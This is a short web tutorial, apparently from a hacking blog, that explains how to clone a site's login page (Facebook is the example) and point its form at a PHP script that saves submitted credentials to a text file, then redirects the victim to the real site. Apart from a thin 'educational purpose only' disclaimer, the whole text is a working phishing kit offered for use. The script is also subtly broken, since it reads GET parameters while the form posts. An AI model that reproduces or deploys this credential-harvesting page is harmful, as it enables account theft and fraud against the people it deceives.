How to Make Phishing Page - Makeing Fake Login Page of any Site


This tutorial is for educational purpose only.
If you like this then please


Warning & Disclaimer:

Making a phishing page is not illegal, but using a phishing page is illegal. This tutorial is just to show you, "How to create phishing page?". If you use this to hack anyone account, then we will not responsible for it. Do anything on your own risk.

What is phishing page?

A phishing page of a site is just a ditto copy of a site. No one can easily detect a difference. In this, we just clone a site login or any other important page.

How to create?

  • Visit the page that you want to clone.
  • Save it (CTRL+S) via your browser.
  • Choose save complete webpage while saving it via browser.
  • Give name index while saving. (Dont use other name!)
  • Save it to a folder.
  • Now, you should have one file named "index.htm" and a folder.
  • We have to edit index.htm file.
  • Edit it and search "action" without "". You will get something like this if you are creating fake page of facebook, action="https://www.facebook.com/login.php?login_attempt=1" method="post" , We have to edit this line only. Changehttps://www.facebook.com/login.php?login_attempt=1 to login.php (How to create login.php is written below)and save it.

  • How to create login.php?

    Here is the code for login.php, just copy the below code, paste it in notepad and save it as login.php.

    Code:

    <?php
    header("Location: http://www.google.com");
    $handle = fopen("passes.txt", "a");
    foreach($_GET as $variable => $value)
    {
    fwrite($handle, $variable);
    fwrite($handle, "=");
    fwrite($handle, $value);
    fwrite($handle, "\r\n");
    }
    fwrite($handle, "\r\n");
    fclose($handle);
    exit;
    ?>
     

    You have to change http://www.google.com to the site url that you are cloning, for example, change it to http://www.facebook.com/ if you are cloning facebook.

    Now, you have your phishing page.